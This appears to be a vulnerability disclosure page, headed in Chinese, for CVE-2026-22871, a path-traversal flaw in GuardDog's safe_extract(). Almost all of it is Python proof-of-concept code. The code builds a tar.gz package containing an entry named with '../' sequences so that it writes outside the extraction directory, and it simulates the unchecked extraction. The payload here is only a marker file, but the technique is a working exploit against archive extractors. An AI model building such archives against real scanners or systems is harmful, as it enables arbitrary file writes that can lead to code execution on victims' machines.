CVE-2026-22871 GuardDog safe_extract()路径遍历漏洞导致远程代码执行

import tarfile import os # Create malicious PyPI package with path traversal def create_malicious_pypi(): # Create a malicious tar.gz file with path traversal malicious_filename = '../../../../../../../tmp/pwned_by_guarddog_bypass' with tarfile.open('malicious_package-1.0.0.tar.gz', 'w:gz') as tar: # Add a file with path traversal in its name info = tarfile.TarInfo(name=malicious_filename) info.size = len(b'GuardDog Path Traversal Exploit Success!') tar.addfile(info, io.BytesIO(b'GuardDog Path Traversal Exploit Success!')) # Also add legitimate-looking package files setup_info = tarfile.TarInfo(name='malicious_package-1.0.0/setup.py') setup_content = b'# Malicious package\nprint("This is a malicious package")' setup_info.size = len(setup_content) tar.addfile(setup_info, io.BytesIO(setup_content)) print('[+] Created malicious PyPI package: malicious_package-1.0.0.tar.gz') # Simulate GuardDog vulnerable safe_extract() behavior def vulnerable_extract(tar_path, dest_dir): """ Simulates the vulnerable safe_extract() function in GuardDog < 2.7.1 Does not sanitize paths containing '../' sequences """ with tarfile.open(tar_path, 'r:gz') as tar: for member in tar.getmembers(): # VULNERABLE: No path validation target_path = os.path.join(dest_dir, member.name) tar.extract(member, dest_dir) print(f'[+] Extracted to: {os.path.abspath(target_path)}') if __name__ == '__main__': import io create_malicious_pypi() # Simulate GuardDog scanning the malicious package print('\n[~] Simulating GuardDog scanning...') vulnerable_extract('malicious_package-1.0.0.tar.gz', '/tmp/guarddog_scan') print('\n[!] Check /tmp/pwned_by_guarddog_bypass for successful exploitation')